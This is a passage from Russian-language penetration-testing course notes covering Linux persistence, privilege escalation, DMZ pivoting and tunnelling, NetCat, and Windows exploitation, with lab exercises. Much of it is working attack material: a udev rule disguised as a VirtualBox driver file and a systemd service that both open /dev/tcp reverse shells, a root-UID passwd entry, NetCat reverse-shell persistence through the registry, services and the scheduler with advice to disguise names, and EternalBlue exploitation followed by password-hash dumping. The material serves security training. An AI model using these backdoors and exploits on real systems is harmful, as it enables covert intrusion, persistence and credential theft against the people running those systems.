мастер-пароль и перехватить учетные данные. Пример бэкдора: https://github.com/ociredefz/pambd/

Внедрение бэкдоров в драйверы

Для запуска бэкдора при подключении какого-либо устройства можно использовать каталог /etc/udev/rules.d/, в котором хранятся правила для обработки событий устройств. Изменяя эти правила, можно переименовать устройство, настроить права доступа к нему, но самое главное, что нас интересует — выполнить скрипт при подключении устройства.

RSHELL="0<&196;exec 196<>/dev/tcp/192.168.0.177/9001; sh <&196 >&196 2>&196"
echo "ACTION==\"add\",ENV{DEVTYPE}==\"usb_device\",SUBSYSTEM==\"usb\",RUN+=\"$RSHELL\"" | tee /etc/udev/rules.d/71-vbox-kernel-drivers.rules > /dev/null

В таком случае при подключении к машине USB-устройства порт выполнится скрипт RSHELL для предоставления доступа вашей машине в сети.

Внедрение бекдоров в службы автозапуска (использование systemd)

systemd — это системный инициализатор и менеджер служб для операционных систем Linux. Он является заменой для более старой системы инициализации SysVinit и предоставляет целый набор функциональных возможностей для управления и контроля запуска служб и процессов в Linux-системе.

Systemd также имеет ряд дополнительных функций, включая событийную систему, журналирование и мониторинг процессов,
управление сетевыми интерфейсами и сетевыми соединениями, управление контейнерами и многие другие.

Пример создания сервиса:

[Unit]
Description=Backdoor
After=network.target ssh.service

[Service]
Type=simple
PIDFile=/var/run/backdoor.pid
ExecStart=sh -i >& /dev/tcp/192.168.0.177/9001 0>&1"
Restart=always
RestartSec=10

[Install]
WantedBy=multi-user.target

Расположить его в файле: 

/lib/systemd/system/backdoor.service

Запустить его командами:

sudo systemctl enable backdoor.service
sudo systemctl start backdoor.service

 

Повышение привилегий на серверных системах

Повышение привилегий на серверных системах

Общая информация

Повышение привилегий — это использование различных уязвимостей операционной системы и прикладного программного обеспечения для повышения своих полномочий в атакуемой системе.

Цели повышения привилегий:

Методы повышения привилегий

Утилиты и сервисы

LinPEAS

Утилита поиска ошибок в конфигурации. https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS 

curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh

Gtfobins

Ресурс, на котором публикуют возможности запуска консоли через неявные возможности приложений https://gtfobins.github.io/ Актуально, когда sudo права без необходимости введения пароля предоставлены для некоторого приложения.

Повышение привилегий на серверных системах

Пример nmap

  1. Проверим права текущего пользователя:  
    $ id
  2. Отмечаем, что текущий пользователь входит в группу sudo и, следовательно, может выполнять различные команды с повышенными привилегиями. Получаем список таких команд:  
    $ sudo -l
  3. Видим, что мы можем запускать утилиту nmap, не вводя пароль. Проверим, что права действительно повышаются, использовав опцию сканирования -sS, доступную только для root:  
    $ sudo nmap -sS localhost
  4. Для более полного поиска векторов для повышения прав воспользуемся утилитой LinPEAS:
  5. Для поиска способов выполнить произвольного кода с помощью утилиты с повышенными привилегиями обратимся к ресурсу https://gtfobins.github.io/ и найдем там nmap. Чтобы получить интерактивный шелл с правами root, воспользуемся командами с ресурса gtfobins и заставим nmap выполнить Lua-скрипт, открывающий командную оболочку:  
    Создадим временный файл с кодом скрипта и сохраним его имя в переменную TF:
$ TF=$(mktemp)
Добавим код, открывающий оболочку sh:
$ echo 'os.execute("/bin/sh")' > $TF
  6. Запустим скрипт от имени root с помощью sudo и nmap:  
    $ sudo nmap --script=$TF
  7. Права повышены до root
Повышение привилегий на серверных системах

Эксплуатация ошибок администрирования ОС Linux

Механизмы безопасности и разграничения прав доступа

/etc/passwd  — текстовый файл, содержащий список учетных записей пользователей. 

image.png

В него можно добавить своего пользователя с отличным от root именем, но с тем же UID: 

hacker:125mypa$$:0:0:hacker:/root:/bin/bash

Встроенные механизмы передачи и получения прав доступа

Специальные права: SUID

SUID bit позволяет выполнение программы с правами хозяина файлов. Основная идея — дать пользователям как можно меньше прав, при этом достаточных для решения поставленных задач. Механизм используется в большинстве UNIX и UNIX-подобных операционных системах. Особенности механизма SUID в стандартных конфигурациях Linux:

Команда sudo

Правила, используемые sudo для принятия решения о предоставлении доступа, находятся в файле /etc/sudoers. Для
редактирования файла редактор visudo. Язык написания и примеры использования подробно изложены в man sudoers

Команда su

Для использования su необходимо ввести соответствующий пароль (если только команду не вызывает пользователь root).
Если введён правильный пароль, su создает новый процесс командного интерпретатора с такими же реальными и эффективными идентификаторами пользователя и группы, а также списком дополнительных групп, что и у указанного пользователя.

Ошибки, допускаемые в конфигурации механизмов безопасности

Хранение «отладочных» файлов с suid-битом Поиск таких файлов: 

find / -perm /4000

Предоставление доступа к команде sudo на файлы, дающие возможность выполнить произвольный код. Изучение предоставленных возможностей sudo: 

sudo -l

Ошибки администрирования и ввода паролей при применении команды sudo

Зачастую администраторы ошибаются: в спешке используют команду sudo, и, не выполнив команду sudo, продолжают вводить пароль, остающийся в истории команд. Изучение истории команд пользователя: 

cat ~/.bash_history

Ошибки Cron

Если строка задания написана в Cron некорректно, появляется возможность выполнить произвольный код через перезапись файлов и добавление исполняемых файлов. Посмотреть список задач в Cron: 

cat /etc/crontab

Инструменты автоматизации

Для ускорения сбора информации о системе можно использовать следующие проекты:

Автоматизация подбора эксплойтов ядра:

Мониторинг процессов всей системы из непривилегированного состояния:

Дополнительные материалы

Методики privesc:

Задачи на privesc на внешних ресурсах:

Повышение привилегий на серверных системах

Практика

Архив с compose: https://stepik-files.cyber-ed.space/WhiteHat/lpe.zip

ssh -p 2022 regular@127.0.0.1

Логин: regular, пароль: regular

Повысить права.

 

 

Выход за DMZ

Выход за DMZ

Общая информация

Атака «человек посередине» (англ. Man in the middle (MitM)) — вид атаки в компьютерной безопасности, когда злоумышленник тайно ретранслирует и при необходимости изменяет связь между двумя сторонами, которые считают, что они непосредственно общаются друг с другом.

Популярные способы выхода за рамки сети ДМЗ

Компрометация узлов внутри сети ДМЗ, имеющих доступ за рамки сети:

Компрометация сетевого оборудования и переконфигурация устройств и списков контроля доступа:

Компрометация клиентов, входящих в DMZ сеть на управляемые узлы:

Обнаружение отдельных сегментов / протоколов, которым предоставлен доступ за рамки сети ДМЗ:

Техники для выхода за рамки сети ДМЗ

При сканировании сети необходимо с одной стороны быстрее определить существующие узлы сети, с другой - точнее определить сервисы на существующих узлах. Вариант стратегии:

# nmap -n -sn -T5 192.168.0.0/16
или
# nmap -n -Pn -PS 22,23,445,135,80,8080 192.168.0.0/16

Далее сканирование по списку выявленных узлов:
# nmap -n -Pn -T5 --top-ports=1000 -sV -iL scope.txt

Подробнее про подкручивание скорости сканирования: тут

Для обнаружения лазеек достаточно просканировать диапазон локальной сети на доступность узлов или отдельных портов и протоколов при помощи nmap или masscan. Обычно локальные сети компаний используют адресацию: 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16

nmap -Pn -n -sU -p53 -T5 10.0.0.0/8 (Сканирование может занимать вплоть до суток)
nmap -Pn -n -sS -p22 -T5 10.0.0.0/8
nmap -sn -n -T5 --disable-arp-ping 10.0.0.0/8

Анализ трафика

Анализ трафика помогает выявить протоколы и сетевые соединения, которые использует сегмент сети ДМЗ.

Особенности:

Инструменты

Wireshark, tcpdump

sudo tcpdump -i eth0 -nn -s0 -w test.pcap
-i интерфейс, на котором будет производиться захват
-nn одинарное (n) не разрешает имена хостов, двойное (nn) не разрешает имена хостов или портов. Используется при просмотре номеров IP/портов и при захвате большого количества данных, (разрешение имен замедляет захват).
-s0 snap length, размер пакета для захвата, неограниченный размер захватывает весь трафик
-w имя файла для записи захваченного трафика


Перенос трафика из tcpdump с удаленного узла, в интерфейс wireshark на локальном узле: 

ssh root@10.0.5.11 tcpdump -i any -s0 -nn -w - | wireshark -k -i -

Атаки MitM

Популярные атаки в контексте сетевой безопасности:

Стоит знать:

ARP Spoofing

Беспричинный ARP (англ. Gratuitous ARP RFC 5227) это и необоснованный ARP-запрос, и необоснованный ARP-ответ. Gratuitous это запрос/ответ, который не требует ответа/запроса. 

Беспричинный ARP запрос — это пакет запроса Address Resolution Protocol, в котором IP источника и назначения установлены на IP компьютера, издающего пакет, а MAC назначения — широковещательный адрес ff:ff:ff:ff:ff:ff:ff:ff. Ответного пакета не возникает.

Беспричинный ARP-ответ — это ответ, на который не был сделан запрос.

Также возможно быстрее ответить на arp-запрос жертвы.

Инструменты для проведения атаки ARP Spoofing

bettercap - это мощный, легко расширяемый и переносимый фреймворк, написанный на языке Go. Все функции для проведения разведки и атак на сети WiFi, устройства Bluetooth Low Energy, беспроводные устройства HID и сети Ethernet.

bettercap -T 10.10.10.10 -X

MitM 6

Длина адреса IPv6 составляет 128 бит. IPv6 приоритетнее IPv4, но обычно не настроен.

Принцип работы DHCPv6:

Атака Rogue DHCP (DHCPv6).

Цель - использование поддельного сервера DHCPv6 для перенаправления трафика жертвы на себя. Перехватывается сообщение клиента DHCP solicit и назначаются учетные данные (например, адрес DNS). Пример работы сети в обычной ситуации:

image.png

Во время атаки:

image.png

Работает в связи с:

Инструменты атак

Дополнительные материалы

Выход за DMZ

Примеры атак

Cisco Smart Install misuse

Cisco Smart Install — программа Cisco для автоматизации начальной настройки и загрузки образа операционной системы для нового оборудования Cisco. По умолчанию Cisco Smart Install активен на оборудовании Cisco и использует протокол транспортного уровня TCP с номером порта 4786.

В 2018 году в этом протоколе была обнаружена критическая уязвимость CVE-2018-0171. Уровень угрозы составляет 9,8 по шкале CVSS. Специально созданный пакет, отправленный на порт TCP/4786, на котором активен Cisco Smart Install, вызывает переполнение буфера, что позволяет:

Для эксплуатации этой уязвимости был разработан инструмент SIET (Smart Install Exploitation Tool), который позволяет
злоупотреблять Cisco Smart Install: 

sudo python siet.py -t -i 192.168.0.1

Параметры:

-t проверить устройство для интеллектуальной установки
-g получить конфигурацию устройства
-c изменить конфигурацию устройства
-C изменить несколько конфигураций устройства
-u обновить IOS устройства
-e выполнить команды в консоли устройства
-i ip-адрес целевого устройства
-l ip список целей (путь к файлу)

Обратная разработка эксплойта Mikrotik из Vault 7 CIA Leaks

ChimayRed (CR) - это эксплойт, который используется против маршрутизаторов MikroTik (MT) под управлением RouterOS.
Он используется для загрузки полезной нагрузки на маршрутизатор MT. Использует порт: tcp/80.

WinboxExploit

Это критическая уязвимость WinBox (CVE-2018-14847), которая позволяет произвольно считывать пароли из файлов
конфигурации MirkoTik. Все версии RouterOS с 2015-05-28 по 2018-04-20 уязвимы к этому эксплойту. Использует порт: tcp/8291.

Практика

Стенд: https://stepik-files.cyber-ed.space/WhiteHat/Mikrotik.ova

Логин admin пароль password

Задача - найти предыдущий пароль.

Выход за DMZ

Проброс сетевого трафика

Pivoting (англ. Pivot – “точка опоры”) – набор техник, с помощью которых организовывается доступ к тем сетям, к которым нет доступа при обычных обстоятельствах. При этом доступ получен с использованием скомпрометированных компьютеров.

Прокси-сервер (англ. “Proxy”) — промежуточный сервер в компьютерных сетях, выполняющий роль посредника между
пользователем и целевым сервером, позволяющий клиентам как выполнять косвенные запросы к другим сетевым службам, так и получать ответы.

Туннелирование в компьютерных сетях (англ. “Tunneling”) — процесс, в ходе которого создается логическое соединение
между двумя конечными точками посредством инкапсуляции различных протоколов.

Переадресация портов (англ. “Port Forwarding”) — проброс портов, который также иногда называемый перенаправлением портов или туннелированием, – это процесс пересылки трафика, адресованного конкретному сетевому порту с одного сетевого узла на другой.

Port2Port (также известный как P2P) — это техника перенаправления сетевого трафика между двумя различными портами на
одном и том же компьютере или между двумя разными компьютерами.

Port2Hostnet — это техника перенаправления сетевого трафика через порт в сеть удаленного узла.

Общая задача

Есть доступ к системе ОС Linux, задача — найти сервисы внутренней сети и получить к ней доступ со своей рабочей машины. 

Задачу проброса трафика можно разделить по:

Инструментам:

Методам:

Проблемы, присущие методам проброса трафика

Стандартные протоколы для проброса трафика

Встроенные утилиты:

Плюсы Минусы
Удобство и простота использования.
Возможность использования почти на любой ОС.
Относительная надежность соединения.		 Во многих встроенных утилитах отсутствует механизм шифрования трафика.

Внешние утилиты:

Плюсы Минусы
Внедрение механизмов шифрования.
Добавление дополнительных функций поддержания туннеля.
Возможность установки в большинство ОС для использования при отсутствии встроенных механизмов.		 Необходимость установки потенциально вредоносного ПО.
Необходимость разбираться в сложных правилах проброса трафика.
Относительная ненадежность использования собственного ПО.

Пример

Лабораторный стенд: 

https://stepik-files.cyber-ed.space/WhiteHat/socket-lab.zip

//Открыт один порт 1337, нужно найти другие открытые для внутреннего использования порты и получить опубликованные файлы на скрытом web сервере

Дано: есть доступ на машину jump. Задача — получить удобный доступ к сервису: target:80 Ход действий

  1. Запускаем лабораторный стенд:  
    $ docker-compose up -d
  2. Проверяем доступность сервиса pinger через web-интерфейс.
  3. Проверяем возможность инъекции команд, затем соберем информацию о сервисе: 
    1.1.1.1; ls
hostname -I
  4. IP-адрес принадлежит локальной сети, попробуем найти в ней другие хосты, скрытые в локальной сети:  
    curl 172.22.0.2
  5. Чтобы найти файл на скрытом web-сервере, используем ffuf, но для этого необходимо стабильное соединение с целевым сервером через промежуточный хост. Используем прокси из проекта Go simple tunnel Скачиваем бинарный файл из релизов, выбираем сборку для Linux с amd64, например https://github.com/ginuerzh/gost/releases/download/v2.11.5/gost-linux-amd64-2.11.5.gz
  6. Подготовим веб-сервер для передачи этого файла на атакуемую машину:  
    $ cd /tmp
$ mkdir http; cd http
$ wget https://github.com/ginuerzh/gost/releases/download/v2.11.5/gost-linux-amd64-2.11.5.gz
$ gunzip gost-linux-amd64-2.11.5.gz # распаковка архива с бинарником
$ mv gost-linux-amd64-2.11.5 gost
$ python3 -m http.server 3000
  7. Определяем наш IP-адрес и в браузере выполняем скачивание файла через интерфейс pinger:  
    1.1.1.1 | curl 172.20.10.7:3000/gost --output gost
  8. Выдаем права на исполнение и запускаем туннель  
    chmod +x gost
1.1.1.1 | ./gost -L=:1338
  9. Настроим утилиту ffuf для использования прокси  для обнаружения файлов на удаленном веб-сервере с IP 172.22.0.2 в локальной сети используя словарь fuzz.txt   
    http_proxy=127.0.0.1:1338 ffuf -w ~/Repositories/YAWR/Web/files_and_directories/fuzz.txt -u http://172.22.0.2/FUZZ -fc 403
  10. Получим файл config.inc~, прочтем его с помощью curl и получим секрет:  
    1.1.1.1 | curl 172.22.0.2/config.inc~


Выход за DMZ

Утилиты для проброса трафика

Популярные методы Port2Port в Bash

Связывание портов локального сервера в Bash:

Создаем именованный контейнер backpipe 

mkfifo backpipe

Прослушивание порта 443 и привязка канала к потоку ввода, привязка потока ввода канала к потоку вывода порта 3333 

nc -lvnp 443 0 < backpipe | nc -lvnp 3333 1& > backpipe

Связывание портов локального и удаленного серверов в Bash:

exec 3<>/dev/tcp/192.168.1.2/443 — создание файлового дескриптора №3 и связывание потоков ввода-вывода портом 443 внешнего узла 192.168.1.2

exec 4<>/dev/tcp/0.0.0.0/3333 — создание файлового дескриптора №4 и связывание потоков ввода-вывода портом 3333 самого узла (“Джамп сервера”)

cat <&3 &>&4 & — передача в фоновом режиме данных потока ввода из файлового дескриптора №3 на поток вывода файлового дескриптора №4

cat <&4 &>&3 & — передача в фоновом режиме данных потока ввода из файлового дескриптора №4 на поток вывода файлового дескриптора №3
 

Популярные методы Port2Port в SSH

Связывание портов локального сервера в SSH на удаленном узле:

$ ssh -R 0.0.0.0:10080:127.0.0.1:80 user@10.0.1.3 — при подключении к SSH на узле 10.0.1.3 откроется публичный порт 10080, который будет ссылаться на локальный порт 80 (который доступен только с самого узла)

Связывание портов локального и удаленного серверов в SSH на удаленном узле:

$ ssh -R 0.0.0.0:10033:10.0.2.5:1433 user@10.0.1.3 — при подключении к SSH на узле 10.0.1.3 откроется публичный порт 10033, который будет ссылаться на порт 1433 удаленного узла 10.0.2.5

Связывание собственного локального порта и удаленного узла за сервером с SSH:

# ssh -L 10080:10.0.3.6:80 -N -f -l user@10.0.1.3 — при подключении к SSH на узел 10.0.1.3 на вашем локальном компьютере откроется порт 10080, который будет ссылаться на порт 80 адреса 10.0.3.6 узла стоящего в одной сети с узлом жертвой (10.0.1.3)​​

​​​​​В данных примерах узел 10.0.1.3 — узел жертвы, с доступом к узлу по протоколу SSH. Также его называют “Jump server”.


Использование метода Port2HostNet в SSH

ssh -f -N -D 4444 user@10.0.0.1

При помощи данной команды выполняются следующие действия:

Устанавливается SSH-соединение с удаленным хостом по адресу 10.0.0.1, используя имя пользователя user.
Опция -f заставляет SSH-клиент запуститься в фоновом режиме.
Опция -N указывает на то, что SSH-клиент не должен выполнять какие-либо команды после подключения к удаленному хосту.
Опция -D 4444 создает SOCKS-прокси на локальной машине, который слушает порт 4444: все запросы на сетевые ресурсы будут перенаправляться через этот прокси на удаленный хост по зашифрованному каналу SSH (поддерживается Socks4 и Socks5).
Опция -D в утилите SSH используется для создания динамического SOCKS-прокси на локальной машине. Когда вы используете опцию -D с SSH, SSH клиент подключается к удаленному хосту и на локальной машине открывается локальный SOCKS-прокси-
сервер, который может быть использован для перенаправления трафика через зашифрованный туннель SSH на удаленном хосте.

Внешние утилиты

Стандартный HTTP/SOCKS5 прокси: 

gost -L=:8080

Прокси с аутентификацией: 

gost -L=admin:123456@localhost:8080

Прокси сервер: gost -L=socks://:1080
Прокси клиент: gost -L=:8080 -F=socks://server_ip:1080

 

Выход за DMZ

Использование внешних утилит для скрытия трафика

Используют нестандартные протоколы (DNS и ICMP), позволяя обойти блокировки или скрыть факт передачи данных. 

DNS-туннелирование

DNS-туннелирование (DNS Tunneling) — использование DNS-протокола для передачи данных между компьютерами в
сети. Одним из способов реализации DNS-туннелирования является использование поддоменов.

Пример: 

OVUWIPJRGAYDCKDSMVTXK3DBOIUSAZ3JMQ6TSOJZFBZGKZ3VNRQXEKI.example.com

В имени поддомена закодирована строка: uid=1001(regular) gid=999(regular)

Другим способом реализации DNS-туннелирования является использование поля "OPCODE" в запросах DNS.
Поле "опкод" обычно используется для указания типа запроса (например, запрос на получение записи или запрос на обновление записи), но может также использоваться для передачи полезной нагрузки, включая команды или файлы.

Максимальная длина “OPCODE” равна 4 битам (0-16).

Особые условия DNS-туннелирования

Особенности использования DNS-туннеля: рекурсивные запросы

Такие запросы позволяют не использовать прямое соединение с сервером управления или прокси, чтобы получать доступ. Это поведение может быть очень полезно в изолированном периметре или сети с ограничениями к соединениям между узлами.

Утилиты для DNS-туннелирования

DNSCAT2 — инструмент, предназначенный для создания зашифрованного командно-контрольного канала (C&C) через протокол DNS, который является эффективным туннелем практически из любой сети

Iodine — программное обеспечение, позволяющее туннелировать данные IPv4 через сервер DNS сервер. Это может быть полезно в различных ситуациях, когда доступ в интернет исключен, но DNS-запросы разрешены.

Пример работы с DNSCAT2: 

Запуск сервера:
./dnscat2.rb our-domain-server.org
Запуск клиента:
./dnscat2 our-domain-server.org

При подключении клиента к серверу вы сможете управлять с сервера терминальной оболочкой, исполняющей команды на агенте.

Пример проброса туннелирования трафика через DNS-туннель:

listen 4444 10.0.1.3:80 — поднимет на стороне сервера порт 4444, который будет отправлять трафик на узел 10.0.1.3 на порт 80 на стороне агента

ICMP-туннелирование

ICMP-туннель — скрытый канал для передачи данных, организованный между двумя узлами, использующий IP-пакеты с типом
протокола ICMP.

Пример инструмента:

Hans — делает возможным туннелирование IPv4 через эхо-пакеты ICMP, поэтому его можно назвать туннелем для пинга. Это
может быть полезно в ситуации, когда доступ в Интернет перекрыт, но пинги разрешены.

Для запуска в качестве сервера (от имени root):
# ./hans -s 10.1.2.0 -p password — это создаст новое tun-устройство и назначит ему IP 10.1.2.1

Для запуска в качестве клиента (от имени root):
# ./hans -c server_addess -p пароль — это позволит подключиться к серверу по адресу "server_addess", создать новое tun-устройство и назначить ему IP из сети 10.1.2.0/24

Теперь вы можете запустить прокси на сервере или позволить ему действовать как маршрутизатор и использовать NAT, чтобы
разрешить клиентам доступ в Интернет.

Дополнительно

📌 В дополнение:

📌 Гайды, подсказки и статьи:

📌 Инструменты:

Выход за DMZ

Практика проброса трафика

Архив: https://stepik-files.cyber-ed.space/WhiteHat/socket-lab.zip

Открыт один порт 1337, нужно найти другие открытые для внутреннего использования порты и получить опубликованные файлы на скрытом web сервере

 

 

NetCat

NetCat

Общая информация

Два режима: клиент и сервер. Режим сервера определяется ключом -l (listener). Может работать в TCP и в UDP режиме. Незашифрованная передача данных. Есть Cryptcat с шифрованием, синтаксис аналогичный. Также можно использовать ssh туннель для шифрования.

Общие принципы для обоих типов соединения

В случае простого соединения (без передачи из файла) двустороннее соединение. Поддерживает редиректы в/из файл/сокет.

<

Файл-источник отправляется в скрипт (в данном случае приложение nc)

nc –l –p 12345 < dumpfile

  • Файл dumpfile передается как STDIN для NetCat
  • NetCat отправляет это содержимое всем подключившимся клиентам
  • После отправки файла соединение может закрыться
>

Полученное от клиента отправляется в файл. Файл перезаписывается.

nc -l -p 12345 > file

  • Файл очищается
  • В него сохраняются полученные данные
  • Не отображается в выводе
>> Полученное от клиента добавляется в файл.
| Создает неименованный канал, может работать с потоковыми данными. Создается 2 процесса в памяти. При закрытии соединения, процесс формирования данных (слева от pipe) остается открытым. Теоретически возможно продолжение передачи данных другому клиенту. Вплоть до передачи с одного nc на другой nc

TCP режим

Режим по умолчанию. При завершении соединения закрывает приложение. Отправляет вывод в консоль.

Общие ключи для клиента и сервера

-v

расширенный вывод. 

-n не резолвит ip адреса. Без -v, ключ -n бессмысленный
-w <timeout> Таймаут при отсутствии ответа сервера. По умолчанию 3 секунды.
-d Отсоединенный от консоли режим




Ключи для сервера

nc -l -p port [-options] [hostname] [port]

-l Либо l либо L всегда используется в режиме сервера. Завершается при завершении сессии
-L Перезапускается при завершении сессии.
-p порт Номер прослушиваемого порта
-e (или -c, аналогично) Приложение, запускаемое при подключении. С bash сработало, с python3 напрямую не сработало.
-i <период>

интервал между приемкой сообщения и отображением сообщения
-r случайные локальные порты источника (?)
-k множественные подключения

Ключи для клиента

 nc [-options] hostname port[s] [ports]

Два режима - просто соединение и сканирование портов. Несколько разные подходы.

-i <период>

интервал между 

  • исполнением команд при сканировании портов,
  • отправки сообщений
-e (или -c, аналогично) Приложение, запускаемое при подключении на клиенте. Получается обратный shell. Команды, введенные на сервере, интерпретируются и отдается результат.
-r При сканировании портов - случайные порты из диапазона.
-s подмена адреса источника
-z режим без отправки данных. Для сканирования.
-q <sec> Завершение после sec секунд. Актуально во время сканирования портов, но при необходимости отправки некоторых данных и сохранения ответа. Можно наткнуться на сервис типа ssh или nc, который остановит сканирование. 

Запуск сервера с консолью

nc –l –p 12345 –e /bin/bash

Расширенный вариант с перезапуском подключения и не привязанный к консоли 

c:\nc.exe -d -L -p 1234 -e cmd.exe

Для проверки на другом сервере запускаем 

nc 192.168.1.204 12345
ls
m.txt
exit

Реверсивный shell

На атакованном клиенте

nc.exe -d host 1234 -e cmd.exe

Одним из недостатков в ожидании события запуска (Планировщик) или действия пользователя (вход в систему или перезагрузка компьютера). Но и это поведение еще надо настроить. Настройку лучше сделать при входе любого пользователя в систему, может удастся спровоцировать администратора на логин. Настройка: 

c:\reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v nc /t REG_SZ /d 
“c:\windows\nc.exe -d 192.168.1.70 1234 -e cmd.exe”

Пример создания сервиса 

sc create ncbackdoor binPath= “cmd /K start c:\nc.exe –d 192.168.1.70 1234  
–e cmd.exe” start= auto error= ignore

Использование планировщика задач 

Проверка наличия задач 

schtasks.exe

Настройка задачи (возможно неверно) 

at 15:00:00 /every:m,t,w,th,f,s,su ““c:\nc.exe -d 192.168.1.70 1234 -e cmd.exe””

Естественно лучше переименовывать все в похожие-на-нужные имена.

Файл-сервер

# Сервер - раздает файл
nc -l -p 12345 < important_document.pdf

# Клиенты - получают файл
nc 192.168.1.100 12345 > received_document.pdf

Сканирование портов

Интересная возможность. Только в режиме клиента. Базовый вариант 

nc -v -z 192.168.2.36 1-65535

Перечисляются порты, можно через запятую. Если не установить -z то найдет первый открытый порт, откроет соединение и все. Лучше с ключом -r

-w <sec> задержка при неактивности. Минимум 1 секунда, поэтому не вариант для быстрого сканирования. Можно просканировать несколько сотен портов на одном адресе, но дальше что-то другое.

Bash скрипт для сканирования серверов с текстом запроса 

for i in `cat hostlist.txt `;do
nc -q 2 -v $i 80 < request.txt
done

Тестирование исходящих правил брандмауэра

Убедиться, что исходящие правила фильтрации трафика существуют и настроены так, как хотелось. Схема проверки 

На тестовом сервере должны быть открыты 65535 портов в режиме TCP и UDP. Это очень много, запускать listener'ы на всех этих портах нереально. Вариант: сконфигурировать два listener на TCP и UDP, а через iptables все соединения по всем портам отправить на эти listener.

iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 1:65535 -j REDIRECT --to-port 1234
iptables -t nat -A PREROUTING -i eth0 -p udp --dport 1:65535 -j REDIRECT --to-port 1234

После этого запускаются 

nc –l –p 1234
nc –u –l –p 1234

 и все! 

Relay сервер

Простейший фиксированный relay сервер. 

nc –l –p 12345 | nc <hostname of target> 54321

После подключения к этому серверу по порту 12345, target увидит запрос от relay с порта 54321.

UDP режим

-e не работает

-o filename сохраняет бинарный дамп в файл

Анализ Windows

Анализ Windows

Поиск Win машин и эксплуатация Smb уязвимости

NBT (NetBIOS over TCP/IP) — механизм отображения запросов NetBIOS на TCP/IP.

Служба имен NetBIOS (NBT-NS) — это протокол Windows, который используется для преобразования имен NetBIOS в IP-адреса в локальной сети.

MS17-010 — обновление безопасности, устраняющее уязвимости в Microsoft Windows. Наиболее серьезная из уязвимостей может позволить удаленное выполнение кода, если злоумышленник отправит специально созданные сообщения на сервер Microsoft Server Message Block 1.0 (SMBv1).

Пример

Ищем машины в сети 

nmap -Pn -n -F -sT --open 192.168.10.0/24

Получаем расширенную информацию о найденной машине 

nmap -Pn -n -p 445 -sC -v --open 192.168.10.4

Находим точное название скрипта проверки на подверженность уязвимости Smb

find /usr/share/nmap/scripts -iname '*MS17*'

/usr/share/nmap/scripts/smb-vuln-ms17-010.nse

nmap -Pn -n -p 445 --script smb-vuln-ms17-010 -v --open 192.168.10.4

 Находим уязвимость в msf и эксплуатируем ее 

$ msfconsole
msf6> search ms17-010
msf6> use exploit/windows/smb/ms17_010_eternalblue
msf6> set RHOSTS 192.168.10.4
msf6> run

Соберем информацию о текущем пользователе 

meterpreter> sysinfo

meterpreter> getuid

Получим хэши паролей пользователей 

meterpreter> hashdump

 

 

 

 

 

 

Анализ Windows

Обнаружение Windows машин

Поиск по сервисам

Распространенные сервисы Windows:

Список публичных сервисов.

Пример команды для обнаружения узлов с ОС Windows:

nmap -Pn -n -sT -p 88,135,137,389,445,1433,3389 -sV -sC --open -iL list-of-machines.txt

Анализ трафика широковещательных запросов

Машины Windows активно используют протоколы WPAD, LLMNR, NBT-NS, позволяющие определить, что с высокой долей
вероятности именно машины Windows воспользовались данным протоколом.

Web Proxy Auto-Discovery Protocol (WPAD) (протокол автоматической настройки прокси) — метод, используемый клиентами
для определения места (URL) расположения конфигурационного файла с использованием технологий DHCP и/или DNS.

Служба имен NetBIOS (NBT-NS) — это протокол Windows, который используется для преобразования имен NetBIOS в IP-адреса
в локальной сети.

Широковещательные запросы NBNS, LLMNR:

Протокол WPAD нужен для того, чтобы автоматически настроить все браузеры в организации без ручного конфигурирования
каждого. WPAD-стандарт описывает 2 альтернативных метода распространения информации о расположении файла конфигурации для системных администраторов: с использованием Dynamic Host Configuration Protocol (DHCP) или Domain Name System (DNS).

Для поиска Windows машин мы можем исследовать трафик с использованием Wireshark и фильтром: nbns || llmnr || mdns

Для автоконфигурации клиент пытается обнаружить URL-адрес с расположением файла конфигурации, указывающим на Proxy-сервер.

До того, как будет загружена первая страница, браузер в машине Windows использует эту технологию для отправки локальному DHCP-серверу DHCPINFORM-запроса и использует полученный URL из WPAD-опции ответа сервера. Если DHCP-сервер не может предоставить требуемую информацию, то используется DNS.

Если, DNS-имя компьютера pc-hostname.subname.local-domain-name.ru, браузер попытается обратиться к следующим URL для поиска конфигурационного файла:

Проблемы:

Так как какого-то имени в сети действительно нет, клиент выполняет поиск DNS имен через следующие этапы:

Если мы сможем сообщить клиенту о том, что файл wpad.dat находится у нас, мы можем попытаться запросить у клиента учетные данные для аутентификации или дать клиенту настройки прокси с адресом своего узла и прослушивать весь
трафик, который будет идти через наш прокси сервер.

 

 

Анализ Windows

Атаки первичного доступа

Применение эксплойтов

Самыми распространенными уязвимостями Windows машин в разное время являлись:

CVE-2008-4250 (MS08-067)
CVE-2017-0143 (MS17-010)
CVE- 2019-0708 (BlueKeep)
-----> полный список

MS08-067

MS08_067_netapi — один из самых популярных удаленных эксплойтов против Microsoft Windows. Он считается надежным
эксплойтом и позволяет получить доступ как SYSTEM (это наивысшая привилегия Windows). В современных тестах на проникновение этот эксплойт, скорее всего, будет использоваться во внутренней среде и не так часто. Во внешней не так часто из-за вероятности наличия брандмауэра. Работает для:

Эксплоит: Metasploit >  exploits/windows/smb/ms08_067_netapi

MS17-010

MS17_010_eternalblue — удаленный эксплойт против Microsoft Windows, изначально написанный Equation Group (АНБ) и
разглашенный Shadow Brokers (неизвестной хакерской организацией). Он считается надежным эксплойтом и позволяет не только получить доступ как SYSTEM, но и полный контроль над ядром в кольце 0.

Что касается удаленных эксплойтов для ядра, этот эксплойт очень надежен и безопасен в использовании. Команда проверки также очень точна, поскольку патч Microsoft непреднамеренно добавил раскрытие информации с дополнительными проверками на уязвимые пути кода. Работает для:

Эксплоит: Metasploit > exploit/windows/smb/ms17_010_eternalblue

BlueKeep

Уязвимость BlueKeep была обнаружена в реализации протокола RDP в некоторых версиях ОС Windows в мае 2019. BlueKeep никак не относится к механизму работы самого протокола и затрагивает только его реализацию. В частности, уязвимость затрагивает часть кода, отвечающую за управление так называемыми виртуальными каналами (англ. virtual channels). Работает для:

Эксплоит: Metasploit > exploit/windows/rdp/cve_2019_0708_bluekeep_rce

Атаки методом перебора

